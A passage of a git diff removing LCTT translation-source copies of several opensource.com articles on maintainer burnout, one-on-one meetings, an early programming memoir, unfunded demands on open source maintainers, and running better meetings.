do a few things to ensure the team has a psychologically safe environment: - - 1. Ask your human resources department if your insurance company offers mental health services. - 2. Make sure employees know about your company insurance plan's mental health benefits. - 3. Offer flexible time off. - 4. Be flexible with deadlines, if possible. - 5. Use asynchronous meetings. - 6. Embody best practices by taking time off and encouraging your team to do so. - 7. Learn to recognize the signs of burnout in yourself and others. - - - -As an individual contributor, you might be wondering how you can help your teammates. Here are some things that you can do: - - 1. Assign someone to triage issues, or implement an auto-labeling process on your team's kanban and ticketing systems. - 2. Make use of integrations and [productivity tools][9].  - 3. [Automate your business processes][10] wherever possible. - 4. Have a clearly defined process for code reviews. - 5. Encourage maintainers and contributors to take breaks. - 6. Understand and recognize the signs of burnout in yourself and others. - - - -### Burnout in open source communities - -In open source communities, burnout can lead to not responding to pull requests or leaving issues open for an extended period of time. It can look like missing meetings, roadmap deadlines, or general forgetfulness. It can also produce emotional fatigue, [anxiety][11], and stress, so someone might be more tired than usual or speak in a tone of voice different from their usual. They may also feel drained and lack the motivation to contribute to open source while struggling with burnout. For open source project maintainers, burnout can be a real challenge that the entire industry must continue to address. - -![What's under the surface of burnout][12] - -(Kiran Oliver, [CC BY-SA 4.0][4]) - -Recognizing burnout requires vulnerability on behalf of the person experiencing it as well as understanding and compassion from any person told about a team member feeling this way. If someone tells you they are burned out, respect and keep this information private. Do not broadcast it publicly, nor share it with anyone who does not need to know for official medical or legal reasons.  - -### Key takeaways - -Burnout is a genuine issue that impacts many open source practitioners. Here are some tips for how to address it in open source organizations and communities: - - * Be more accepting of neurodivergence in the workplace. - * Create supportive policies and procedures for employees in your organization or open source community that may be experiencing burnout. - * If you are a contributor to a large open source project, make sure you use automation and tools that allow people to step away and take a break with ease. - * Lean on your community for support. - * Learn to recognize the signs of burnout—not only in yourself but also in others. - * Support your community, and remember that it's okay to admit to feeling burned out. - - - -Do you have any other tips for dealing with burnout, either personally or with your open source colleagues? Please share them in the comments. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/7/burnout-open-source - -作者:[Kiran Oliver][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/kiranoliver-0 -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/red-love-heart-alone-stone-path.jpg?itok=O3q1nEVz (Red heart with text "you are not alone") -[2]: https://usblog.teamblind.com/wp-content/uploads/2020/03/TheStateof-Burnout2020.pdf -[3]: https://opensource.com/sites/default/files/uploads/burnoutdefinition.png (Definition of burnout) -[4]: https://creativecommons.org/licenses/by-sa/4.0/ -[5]: https://upstream.live/ -[6]: https://www.youtube.com/watch?v=WlQmwAJc5n4&list=PLDlsR_qA-s0gbycSxXNQIF_LhsMThD3Zi&index=9 -[7]: https://neurocosmopolitanism.com/neurodiversity-some-basic-terms-definitions/ -[8]: https://www.autism.org.uk/advice-and-guidance/topics/mental-health/autistic-fatigue/autistic-adults -[9]: https://opensource.com/article/21/1/open-source-productivity-apps -[10]: https://camunda.com/solutions/human-workflow/ -[11]: https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6424886/ -[12]: https://opensource.com/sites/default/files/uploads/burnouticeburg.png (What's under the surface of burnout) diff --git a/sources/talk/20210805 Your one-on-one meeting doesn-t have to be this way.md b/sources/talk/20210805 Your one-on-one meeting doesn-t have to be this way.md deleted file mode 100644 index d0ba255c60..0000000000 --- a/sources/talk/20210805 Your one-on-one meeting doesn-t have to be this way.md +++ /dev/null @@ -1,86 +0,0 @@ -[#]: subject: "Your one-on-one meeting doesn't have to be this way" -[#]: via: "https://opensource.com/open-organization/21/8/one-on-one-meeting-tips" -[#]: author: "Catherine Louis https://opensource.com/users/catherinelouis" -[#]: collector: "lujun9972" -[#]: translator: " " -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -Your one-on-one meeting doesn't have to be this way -====== -One-one-one meetings are opportunities for growth. But that's only -possible if you're transparent and collaborative about them. -![A hand reaching out.][1] - -Whenever I'm speaking with colleagues and clients near the end of a quarter, I often hear from managers rushing to squeeze their one-on-one meetings with employees into tight deadlines. Every time I ask an employee if they've enjoyed their one-on-one with a manager, the answer is unanimously "no." And every time I ask a manager if they've enjoyed their one-on-one with an employee, the answer is unanimously "no, but I have to do it." - -So what we have is a constantly recurring event that no one seems to prioritize, no one seems to enjoy, and no one seems to benefit from. And we choose to end every fiscal quarter like this. - -But it doesn't have to be this way. By thinking and acting openly, we can reframe and reinvent our one-on-one meetings to be productive, beneficial, and even _enjoyable_. - -Managers and other organizational leaders [bear their own set of responsibilities and can apply their own tactics for opening up one-on-one meetings][2]. In this article, I'll discuss what employees can do to ensure more open, honest, compelling, and fulfilling one-on-one meetings with their managers—and offer some examples of ways they can initiate the conversation. - -### Be transparent about your goals - -Be clear with your manager about the goals of your one-on-ones. This might sound strange; however, without structure and clear intent, these meetings can quickly go astray. Before the meeting, really think about what you want to accomplish and how your manager could help you achieve this. Which of your manager's more admirable skills and abilities could you benefit from learning more about? Are you in this role as a stepping stone for another position? Do you have a difficult time negotiating with certain stakeholders, and could your manager help with this? To decide what to prioritize in your one-on-ones, try this: Write today's date one year from now, then imagine the place where you want to be in your career. Using this vision as a starting point, work backward and craft goals you believe your manager can help you achieve on the road to getting where you'd like to be. - -**What this sounds like:** "I'd really like for our one-on-ones to be a dedicated time with you for open-ended conversation, for coaching, mentoring for me to achieve my next goal of {X} to get to know one another better, to provide each other context, or even for venting." - -And at the end of your _current_ one-on-one meeting, establish the goals of your _next_ one-on-one meeting and record them (see below) so you're both clear on what you'll need to prepare to discuss. - -**What this sounds like:** "Given that you've provided me with a path forward, I think the focus of our meeting should be my increased network opportunities with this new contact that you will have provided me." Or, if you're stuck and don't sense an immediate opportunity for forward movement (sometimes the case with sticky problems) end your meeting with a question to establish clear goals: "What can we both do between now and our next meeting to make progress on this situation?" - -So what we have is a constantly recurring event that no one seems to prioritize, no one seems to enjoy, and no one seems to benefit from. And we choose to end every fiscal quarter like this. - -### Accelerate your meeting cadence - -Change is easier when opportunities for feedback are more frequent. Ask your manager to let _you_ schedule one-on-one meetings with her, letting her know they'll happen more frequently than every quarter. Find your meeting cadence based on what is really happening in your work context. Always conclude your current one-on-one meeting by scheduling your next one. Soon you'll get into a nice rhythm. And try not to skip one-on-ones; instead of cancelling, reschedule them. - -**What this sounds like:** "I'd love help with my career here at {company X}, and to do this I'd like to be able to access your calendar for guidance at the time I'll have the need." - -To accelerate your feedback cadence even further, consider asking your manager to provide direct feedback in context rather than waiting to receive this feedback in a one-on-one at some later date. If you wait until the end of the quarter to hear feedback, there's very little you can learn, as you'll probably not remember what even happened to prompt the feedback you actually needed three months earlier. - -**What this sounds like:** "Would you mind giving me direct feedback at the time you notice something? I like to learn immediately, in context, and if it's praise or criticism, please provide this feedback with me privately." - -### Close your feedback loops - -One-on-one meetings should be rich opportunities for mutual feedback. Before you've finished, don't forget to remind your managers what you need from _them_, too. And most importantly, make sure they follow through. Even when people are acting with the best intentions, they're still busy and important conversational threads that begin in meetings can get lost when everyone gets back to work. You know how it goes: You've had a fantastic one-on-one with your manager. You've discussed a sticky situation, and your manager says, "I have a great solution for this. I have a colleague working in a different department who I believe knows a great deal about this, and I promise to get back to you with more guidance before our next meeting next month." And then the next meeting happens and you've both forgotten all about it. - -Keep an open, accessible, _shared record_ of what you've discussed at your one-on-one meetings and update this to include specific actions both you and your manager will take before you meet again. Reinforce your needs verbally; stress how important they are, and be clear that the focus of your next one-on-one will be the items you've already told your manager you need to do your best work. - -**What this sounds like:** "Wow that would be great. It's really important to me. Let's write this down so we don't forget." - -One-on-one meetings should be rich opportunities for mutual feedback. Before you've finished, don't forget to remind your managers what you need from them, too. - -### Skip status updates - -Don't let your one-on-one become another status meeting. Why? - - * If the discussion concerns a product you're working on, others on your team would likely benefit from being part of it; if you're being updated now, you're a bottleneck for this information. - * If you go down this path, you'll have no time to discuss the things you've already said you need to discuss (see above).  - * It's easy for your manager to listen, but it's also a way to avoid difficult conversations; attending a Scrum of Scrums meeting, for example, would be the place to hear updates. - - - -**What this sounds like:** "Every team member updates their status daily just prior to the Daily Scrum and the status of the three teams can be heard in the Scrum of Scrums. I'd rather use this hour with you to get your coaching on my career, problems with negotiating with stakeholder Y, and feedback on my personal development progress. If we don't have time to do this now, can we reschedule?" - -### Working for you? - -One-on-one meetings should be productive and energizing. If they aren't, you might need to open them up a bit. Hopefully the ideas I've shared here can help you do just that. And perhaps you have your own tips for making your one-on-one meetings spectacular. I hope you'll share them if you do. - --------------------------------------------------------------------------------- - -via: https://opensource.com/open-organization/21/8/one-on-one-meeting-tips - -作者:[Catherine Louis][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/catherinelouis -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/rh_003784_02_os.comcareer_job_rh1x_1.png?itok=b1dy5tlv (A hand reaching out.) -[2]: https://opensource.com/open-organization/18/5/open-one-on-one-meetings-guide diff --git a/sources/talk/20210811 My first programming language and early adventures.md b/sources/talk/20210811 My first programming language and early adventures.md deleted file mode 100644 index 529b8ef4f9..0000000000 --- a/sources/talk/20210811 My first programming language and early adventures.md +++ /dev/null @@ -1,116 +0,0 @@ -[#]: subject: "My first programming language and early adventures" -[#]: via: "https://opensource.com/article/21/8/my-first-programming-language" -[#]: author: "Tomasz Waraksa https://opensource.com/users/tomasz" -[#]: collector: "lujun9972" -[#]: translator: " " -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -My first programming language and early adventures -====== -A student in 1988 in Poland is invited to a computer lab. -![Old UNIX computer][1] - -A few days ago, contributors to Opensource.com were asked to share our personal stories about how we got into programming. Many entertaining and fascinating responses were submitted. It would be interesting to quantify these data in time. Intriguing patterns emerged. The 70s generation was nostalgic about Fortran, punch cards, and dial-up access to shared mainframes. 80s kids (amongst which I qualify) shared stories of C, BASIC, or Pascal and their beloved Atari and Commodore computers. Surprisingly few stories from the 90s arrived. Almost like there's a generation gap. Maybe teenagers were running away in horror from C++, MFC, and the dreaded Hungarian notation, which was the order of the day. Then there's strange silence from the youngest generation. Maybe our young Raspberry Pi enthusiasts are [too busy making things][2]. - -Here's more about my road to programming. - -### My first programming language - -My first programming language was Microsoft BASIC. I learned it on the mighty MSX SpectraVideo 738 home PC. The MSX standard was a home computer architecture based on the Z80 CPU. Developed in the 80s by Microsoft, it was produced by Sony, Philips, Pioneer, Sharp, Yamaha, and many other vendors. My home country is Poland, and we were still under communist rule, and cut off from modern IT technology due to economic sanctions against us. But the winds of change came during the late 80s, and the MSX Spectravideo made it to my school. - -![MSX Specravideo 738][3] - -Image CC BY-SA [Hans Otten][4] - -I was a student at the time, so I wasn't paid. I got so fascinated with programming that I would be willing to pay myself for the pleasure. Thankfully, all schools and universities were free at that time. Imagine you would start your IT career with zero debt! I started during my early high school years, in 1988 in Poland. I had been growing long hair, playing guitar, listening to Black Sabbath, and hoping to have a rock band one day—all the while missing out on computers. And I had a friend, who I'll call Mr. Briefcase. He was another student, and also a computer nerd with a reputation. He entered the room one day and asked _how are you?_ He had to listen to me for a while, because the Polish _will_ tell you how they are, if you ask. Then he said: _"Hey, I'm going to the computer lab. You can join me. There's no one there today except me."_ I jumped excitedly: _"The entire evening?"_ He answered: _"Sure thing. I'll be busy, but you can play games and stuff."_ - -When we first entered the lab, it felt like a Star Destroyer command center from [Star Wars][5]. The following hardware was available: - - * One beautiful IBM PC clone, Spectravideo SVI-838 xPress-16 with an excellent clickety keyboard—no modern mechanical keyboard has yet been able to replicate that experience. Unfortunately, it was off-limits for newcomers like me. - * ZX Spectrums—I was not too fond of these, since they looked like toys with their rubbery keyboards. - * Futuristic MSX SVI-738 computers with color screens and Seikosha dot-matrix printers. - - - -The choice was made. I played for a while but got bored very quickly. I asked Mr. Briefcase: - -**Me**: _So what is it that you’re doing?_  - -**Briefcase**: _Programming._  - -**Me**: _How do you do that?_  - -**Briefcase**: _Here._ - -And he threw a manual at me. - -### Hello world - -I ran through the "hello world!" examples, and then stumbled onto a chapter about computer graphics. It turned out that our MSX had impressive graphic capabilities. After an hour of struggling with English, which was still foreign to me, there it was—my first working computer program, written in BASIC. I was thrilled, flabbergasted, and completely hooked. I could command this computing device to _do things_. Beautiful things. Utterly stupid things. Boring things. And it would do them all, without hesitation, line after line, only sometimes responding with `Syntax error!` - -It was pure magic! The very next day, I signed up for the computer lab. - -### Computer graphics - -In the following months, I had a lot of fun with computer graphics. Those machines were amazingly efficient in educating young people in computing. Programming a language interpreter was the only way to interact with it. It booted, and you had to enter commands to do anything useful. If you were curious enough, you would inevitably ask—are there more commands? In the end, you got sucked into programming without even knowing it. The entry threshold was so low. - -![Code][6] - -Image CC0 Alan Smithee - -For example, to draw a circle on the screen, all I had to do was: - - * Boot the computer and wait a few seconds. Yes, it only took seconds to boot! - * Write `10 CIRCLE 100`,`100`,`50` and press **ENTER**. Yes, we had to number the lines ourselves. - * Write `run` and press **ENTER**. - - - -There was a simplicity to programming in those days. Today, you have choices to make before you write a single line of code. You have to choose your development platform (web, desktop, both), your programming language, your framework, and more. - -Of course there are always choices to make, but it feels simpler when all you need are a few resources, and when your computer has only **64kB** of memory—the usual on 8-bit machines. To give you a sense of scale—a single high-resolution desktop icon on my Pop_OS Linux box can be bigger than that. Yet within this tiny memory, it could run an operating system and an academic-grade compiler. It could run graphic programs with flawless sprite animation and collision detection. It would play percussion tracks through a programmable noise generator. I have to admit, [I know it's possible][7] but I hardly know where to begin with these kinds of activities today. - -### Pascal and beyond - -My MSX had a 3.5" floppy drive—an amazing thing these days. One day we received floppies with the CPM 2.2 operating system and a [Turbo Pascal 3.0 compiler][8]. This is how I tasted my first actual programming language, while avoiding further exposure to BASIC. Turbo Pascal was beautiful: expressive, concise, safe, and structured. There's an anecdotal theory about why programmers from Central and Eastern Europe have such highly valued skills. In western countries, C and C++ were the order of the day, full of fun quirks and idiosyncrasies. Over here though, we started with Pascal. It was a programming language of choice in schools and universities. The differences between these two are substantial, and the theory is that they wired our young minds in a substantially different way. - -![Turbo Pascal][9] - -Image [Public Domain][10] - -Pascal was much more disciplined than C, and it was as "close to the metal" as it gets. Pascal had pointers, direct memory operations, and even `asm ... end` block for assembly code injection. Yet pointers weren't thrown in everywhere like they are in C, and buffer overflow attacks through null-terminated strings were non-existent. Strings in Pascal is just an array of characters, and only the first entry contains the explicit string length. Simple! It also had a proper module system, precompiled libraries, strict type control, and a blazing fast compiler on top of that. - -Turbo Pascal had an enormous impact on the way I think while programming. Eventually it implemented object-oriented programming, and smoothly prepared me for complex software architectures and programming on Windows with Borland Delphi. I touched C and C++ only when I had no other choice. - -Decades later, I've realized that all my career, I have unconsciously followed in the footsteps of [Anders Hejlsberg][11]. He and his team were creators of a highly successful line of Turbo compilers at Borland. Then they created Delphi, which was a relief for Windows programmers struggling with Visual Basic, WFC, MFC, Charles Petzold books, and Hungarian notation. After Borland, he continued at Microsoft and created [.NET][12], which I happily jumped into. Finally, he created TypeScript, which became the backbone of modern enterprise web development. - -Nowadays, I'm busy architecting and developing large web applications for enterprises. JavaScript and TypeScript is the order of the day, with back-ends running on NodeJS, .NET, or Python and writing little utilities and scripts with Python and Bash, and struggling with complexities of cloud computing and [YAML][13]. After all these years, I still enjoy the thrill. I can't imagine a more satisfying job that keeps challenging me and never gets dull and boring. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/8/my-first-programming-language - -作者:[Tomasz Waraksa][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/tomasz -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/retro_old_unix_computer.png?itok=SYAb2xoW (Old UNIX computer) -[2]: https://opensource.com/articles/21/3/raspberry-pi-projects -[3]: https://opensource.com/sites/default/files/svi738.jpg (MSX Specravideo 738) -[4]: http://msx.hansotten.com/special-msx-hardware/svi-738-xpress/ -[5]: https://opensource.com/article/21/5/open-source-star-wars -[6]: https://opensource.com/sites/default/files/basic.jpg (Code) -[7]: https://opensource.com/article/17/10/python-101 -[8]: https://en.wikipedia.org/wiki/Turbo_Pascal -[9]: https://opensource.com/sites/default/files/uploads/turbo-pascal.png (Turbo Pascal) -[10]: https://commons.wikimedia.org/wiki/File:Turbopascal_6.png -[11]: https://en.wikipedia.org/wiki/Anders_Hejlsberg -[12]: https://opensource.com/article/19/9/getting-started-net -[13]: https://www.redhat.com/sysadmin/yaml-beginners diff --git a/sources/talk/20210818 Setting new expectations for open source maintainers.md b/sources/talk/20210818 Setting new expectations for open source maintainers.md deleted file mode 100644 index 55f4191660..0000000000 --- a/sources/talk/20210818 Setting new expectations for open source maintainers.md +++ /dev/null @@ -1,104 +0,0 @@ -[#]: subject: "Setting new expectations for open source maintainers" -[#]: via: "https://opensource.com/article/21/8/open-source-maintainers" -[#]: author: "Luis Villa https://opensource.com/users/luis" -[#]: collector: "lujun9972" -[#]: translator: " " -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -Setting new expectations for open source maintainers -====== -The continued maturation of open source has regularly placed new burdens -on maintainers. -![Practicing empathy][1] - -For a long time, there were two basic tests for releasing open source: "Does it do what I need it to do?" and "Does it compile?" - -Sure, it was nice if it did things for others, but more than anything else, it at least needed to be fun for the developer and run at all for others. Then with the rise of package management, things leveled up a bit: "Is it packaged?" Shortly after that, the increasing popularity of [test-driven development][2] added another requirement: "Do the tests pass?" - -Each of these new requirements made more work for open source maintainers, but (by and large) maintainers didn't grump too much about them. I think this happened for two reasons: First, the work was often aligned with skills developers needed to learn for their jobs, and second, they were broadly perceived as beneficial for all users of the software, not just corporate developers. - -But that is changing—and in ways that may not work out so well for open source and enterprises. - -### The new enterprise burdens - -Here in 2021, it's clear that a new set of standards for open source is coalescing. These bring new labor to be done, either by open source developers or as part of a metadata overlay. These new standards include:  - - * **Security information and auditing**: Security assessments of open source packages have traditionally been carried out by third parties, either through in-house security teams or by the distributed process coordinated through the [MITRE Common Vulnerabilities and Exposures][3] database. With new security training like the Linux Foundation's CII badges and projects like OpenSSF and Google's SLSA, the new buzzword is "end to end"—meaning maintainers and projects must make themselves security experts and create security controls. While this is almost certainly a good idea for the industry overall, it's yet more work expectations with no immediate prospect of compensation. - * **Legal metadata**: Traditionally, open source communities like GNU, Debian, and Fedora believed (with good reason) that the default level of mandatory licensing metadata was at the package level, with per-file licensing information often disfavored at best and unrepresentable at worst. SPDX, followed more recently by clearlydefined.io, has decided that license information must be complete, machine-readable, and accurate in every file. This is clearly correct for all users, but the vast majority of the benefit accrues the most deep-pocketed enterprises in practice. In the meantime, if we want accurate global coverage, the vast majority of the burden will fall on maintainers and require intricate legal assessment. (Adding these to the Linux kernel [took literally years][4].) - * **Procurement information**: The newest ask from the industry is to provide Software Bills of Material (SBOM) throughout the software stack—which inevitably includes vast quantities of open source. Again, this is not entirely unreasonable, and indeed open source has long led the way here via the package management techniques that open source language communities pioneered. But the completeness of coverage and depth of information being demanded (including, in some proposals, [information about the identity of developers][5]) is a step-change in what is required—primarily to benefit the governments and massive enterprises that can afford to do the detailed, package-by-package analysis of software provenance. - - - -This new work may be quite different from previous waves of new obligations for open source developers—and we should think about why that is and what we might do about it. - -### Is this work going to work? - -As I suggested in the opening to this piece, the continued maturation of open source has regularly placed new burdens on maintainers. (At Mozilla, we used to call these "table stakes"—a poker term, indicating the things you had to do to even sit at the poker table, or in tech terms, to be considered for enterprise use.) So in some sense, this new wave of obligations is nothing new. But I do want to suggest that in two significant ways, these new mandates are problematic. - -First, this work is increasingly highly specialized and so less helpful for individual maintainers to learn. The strongest open source developers have always had diverse skills (not just coding, but also marketing, people management, etc.). That's been part of the draw of open source—you learn those things along the way, making you a better developer. But when we start adding more and more requirements that specialists (e.g., a legal team or a security team) would cover in a corporate setting, we reduce the additional value to developers of participating in open source. - -To put it another way: Developers clearly serve their self-interest by learning basic programming and people skills. It is less clear that they serve their self-interests by becoming experts in issues that, in their day jobs, are likely delegated to experts, like procurement, legal, and security. This works out fine in open source projects big enough to have large, sophisticated teams, but those are rare (even though they gather the lion's share of press and attention). - -Second, these new and increasingly specialized requirements primarily benefit a specific class of open source users—large enterprises. That isn't necessarily a bad thing—big enterprises are essential in many ways, and indeed, the risks to them deserve to be taken seriously. - -But in a world where hundreds of billions of dollars in enterprise value have been created by open source, and where small educational/hobby projects (and even many small companies) don't really benefit from these new unfunded mandates, developers will likely focus on other things, since few of them got into open source primarily to benefit the Fortune 500.  - -In other words, many open source developers enjoy building things that benefit themselves and their friends and are even willing to give up nights and weekends for that. If meeting these new requirements mostly benefits faceless corporations, we may need to find other carrots to encourage developers to create and maintain new open source projects. - -![Tidelift 2021 maintainer survey results][6] - -According to the Tidelift 2021 open source maintainer survey, open source maintenance work is often stressful, thankless, and financially unrewarding. - ([Tidelift][7]) - -### Why "unfunded mandate?" - -In U.S. politics, an "unfunded mandate" occurs when a government requires someone else (usually a lower-level government) to do new work while not funding the new work. Bradley M. Kuhn gave me the inspiration to use the term "unfunded mandate" in [a recent Twitter post][8]. - -Sometimes, unfunded mandates can be good—many times, they are used to create equity and justice programs, for example, that local governments really should be doing as a matter of course. Arguably, many security initiatives fall into this category—burdensome, yes, but necessary for all of us to use the internet effectively. - -But other times, they just create work for small entities that are already overwhelmed juggling the responsibilities of modern governance. If that sounds familiar to open source developers, no surprise—[they're already burnt out][7], and this is creating more work without creating more time or money. - -![Tidelift survey results showing half of maintainers quit because of burnout.][9] - -According to the Tidelift 2021 managed open source survey, more than half of maintainers have quit or considered quitting because they were experiencing burnout. -([Tidelift][10]) - -### Aligning incentives—by paying the maintainers - -We were pleased to see Google call this issue out in [a recent filing on SBOMs][11] with the National Telecommunications and Information Administration (NTIA). - -> "Unfortunately, much of the burden of maintaining our digital infrastructure falls on the backs of unpaid, volunteer contributors. The NTIA should carefully evaluate ways to fund and assist these communities as they work with industry to comply with new regulations." - -Tidelift's filling to the same NTIA call for comments made similar points about money, scale, and reliability. In response, in [its own summary][12], the NTIA acknowledged that "funding sources" are a challenge and also said:  - -> "Further research is necessary to understand the optimal … incentives for sharing, protecting, and using SBOM data." - -Given the dynamic of increasing professionalization—or to put it more bluntly, increasing work—that I've described above, it is refreshing to see an acknowledgment from significant industry players that developer incentives should be considered as we move into the next era of open source. We, as an industry, must figure out how to address this together, or we'll both fail to reach our goals and burn out developers—the worst of all worlds. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/8/open-source-maintainers - -作者:[Luis Villa][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/luis -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/practicing-empathy.jpg?itok=-A7fj6NF (Practicing empathy) -[2]: https://opensource.com/article/20/1/test-driven-development -[3]: https://cve.mitre.org/ -[4]: https://lwn.net/Articles/739183/ -[5]: https://security.googleblog.com/2021/02/know-prevent-fix-framework-for-shifting.html -[6]: https://opensource.com/sites/default/files/pictures/tidelift-survey-2021-1.png (Tidelift 2021 maintainer survey results) -[7]: https://blog.tidelift.com/finding-4-open-source-maintenance-work-is-often-stressful-thankless-and-financially-unrewarding -[8]: https://twitter.com/richardfontana/status/1408170067594985474 -[9]: https://opensource.com/sites/default/files/pictures/tidelift-survey-2021-2.png (Tidelift 2021 maintainer survey results about burnout) -[10]: https://blog.tidelift.com/finding-5-more-than-half-of-maintainers-have-quit-or-considered-quitting-and-heres-why -[11]: https://www.ntia.doc.gov/files/ntia/publications/google_-_2021.06.17.pdf -[12]: https://www.ntia.gov/files/ntia/publications/sbom_minimum_elements_report.pdf diff --git a/sources/talk/20210825 10 steps to more open, focused, and energizing meetings.md b/sources/talk/20210825 10 steps to more open, focused, and energizing meetings.md deleted file mode 100644 index 0a5c920d8c..0000000000 --- a/sources/talk/20210825 10 steps to more open, focused, and energizing meetings.md +++ /dev/null @@ -1,99 +0,0 @@ -[#]: subject: "10 steps to more open, focused, and energizing meetings" -[#]: via: "https://opensource.com/open-organization/21/8/10-steps-better-meetings" -[#]: author: "Catherine Louis https://opensource.com/users/catherinelouis" -[#]: collector: "lujun9972" -[#]: translator: " " -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -10 steps to more open, focused, and energizing meetings -====== -Constructing your meetings with open organization principles in mind can -help you avoid wasted time, effort, and talent. -![Open lightbulbs.][1] - -The negative impact of poorly run meetings is [huge][2]. So leaders face a challenge: how do we turn poorly run meetings—which have a negative impact on team creativity, success, and even cause stress and anxiety—to meetings with positive outcomes? But to make the situation even tougher, we now find most meetings are being held remotely, online, where attendees' cameras are off and you're likely staring at a green dot at the top of your screen. That makes holding genuinely productive and useful meetings an even greater challenge. - -Thinking about your meetings differently—and constructing your meetings with [open organization principles][3] in mind—can help turn your next remote meeting into an energizing experience with positive outcomes. Here are some guidelines to get you started. I'll explain steps you can take as you _prepare for_, _hold_, and _follow up from_ your meetings. - -### Preparing for your meeting: - -#### 1\. Protect everyone's time - -First, you'll need to reflect on the reason you've calling a meeting in the first place. As a meeting leader, you must recognize your role as the person who could kill productivity and destroy the ability for attendees to be mindfully present. By holding a meeting and asking people to be there, you are removing hours from people's days, exhausting the time they have to spend—and time is a non-replenishable resource. So imagine instead that you are a _guardian_ of people's time. You need to treat their time with respect. Consider that the only reason _why_ you're holding a meeting in the first place is to _keep from_ wasting time*.* For example, if you see a group thrashing over a decision again and again because the wrong people were involved in an email chain, instead suggest holding a half-hour meeting to reach a consensus, thereby saving everyone's time in the end. One way to think about this: Treat employees the same way you'd treat your customers. You would never want a customer to feel they were invited to a meeting that was a waste of their time. Adopting this mindset, you'll instantly become sensitive to scheduling meetings over someone's lunch hour. If you commit to becoming a time saver, you'll become more intentional in _all aspects_ of meeting planning, executing, and closing. And you will get better and better at this as a result. - -#### 2\. Use tools to be more inclusive - -Like all meetings, remote meetings can contain their moments of silence, as people think, reflect, or take notes. But don't take silence as an indication of understanding, agreement, or even presence. You want to hear input and feedback from everyone at the meeting—not just those who are most comfortable or chatty. Familiarize yourself with some of the growing list of fantastic apps (Mentimeter, Klaxoon, Sli.do, Meeting pulse, Poll Everywhere, and other [open source tools][4]) designed to help attendees collaborate during meetings, even vote and reach a consensus. Make use of video when you can. Use your chat room technology for attendees to share if they missed something or raise a hand to speak, or even as a second channel of communication. Remote meeting tools are multiplying at an exponential rate; bone up on new ones to keep meetings interesting and help increase engagement. - -#### 3\. Hone your invitation list - -When preparing invitations to your meeting, keep the list as small as possible. The larger the group, the more time you'll need, and the quality of a meeting tends to decrease as the size of the meeting increases. One way to make sure you have the right people: instead of sending out topics for discussion, send a preliminary note to participants you think could add value, and solicit questions. Those who answer the preliminary questions will be those who need to attend, and these are the people who you need to invite. - -Treat employees the same way you'd treat your customers. You would never want a customer to feel they were invited to a meeting that was a waste of their time. - -#### 4\. Time box everything, and adapt - -With our shorter attention spans, [stop defaulting to hour long meetings][5]. Don't hesitate to schedule even just 15 minutes for a meeting. Reducing the meeting length creates positive pressure; [research shows][6] that groups operating under a level of time pressure (using time boxing) perform more optimally due to increased focus. Imagine that after five minutes of one person speaking, everyone else in the meeting will begin to multitask. This means that as a facilitator you have just five minutes to present a concept. Use just these five minutes, then ask for connections: Who knows what about this topic? You'll learn there are experts in the room. Time box this activity, too, to five minutes. Next, break into small groups to discuss concrete practices and steps. Time box this for just 10 minutes, then share how far folks got in that shortened time box. Iterate and adjust for the next time box, and reserve yet another one for takeaways and conclusions. - -#### 5\. Make your agenda transparent - -Make meeting details as transparent as possible to everyone who's invited. The meeting agenda, for example, should have a desired outcome in the subject line. The opening line of the agenda should state clearly why the meeting needs to be held. For example: - -"The choice of go-forward strategy for Product A has been thrashing for two weeks with an estimate of 60 or more hours of back and forth discussion. This meeting is being called with the people involved to agree on our go-forward plan." - -Agenda details should outline the time boxes you've outlined to accomplish the goal. Logistics are critical: if you wish cameras to be on, ask for cameras to be on. And even though you've thought thoroughly about your invitee list, note that you may still have invited someone who doesn't need to be there. Provide an opt-out opportunity. For example: - -"If you feel you cannot contribute to this meeting and someone else should, please reach out to me with their contact information." - -### Conducting your meeting: - -#### 6\. Be punctual - -Start and end the meeting on time! Arrive early to check the technology. As the meeting leader, recognize that your mood will set the tone for your attendees. So consider beginning the meeting with appreciations, recognitions, and statements of gratitude. Beginning a meeting on a positive note establishes a positive mood and promotes creativity, active listening, and participation. You'll find your meeting will be more constructive as a result. - -Like all meetings, remote meetings can contain their moments of silence, as people think, reflect, or take notes. But don't take silence as an indication of understanding, agreement, or even presence. - -#### 7\. Engineer your meeting's culture - -In the meeting itself, use Strategyzer's [Culture map][7] to create the culture you want for the meeting itself. You do this by agreeing the desired outcome of the meeting, asking what can enable or block attendees from achieving this outcome, and identifying the behaviors the group must exhibit to make this happen. Silently brainstorm with post-its on a jamboard, then have folks actively share what can make this meeting successful for all. - -#### 8\. Invite collaboration - -In openly run meetings, the best ideas should emerge. But this can only happen with your help. Recognize your role as a meeting leader who must remain neutral and encourage 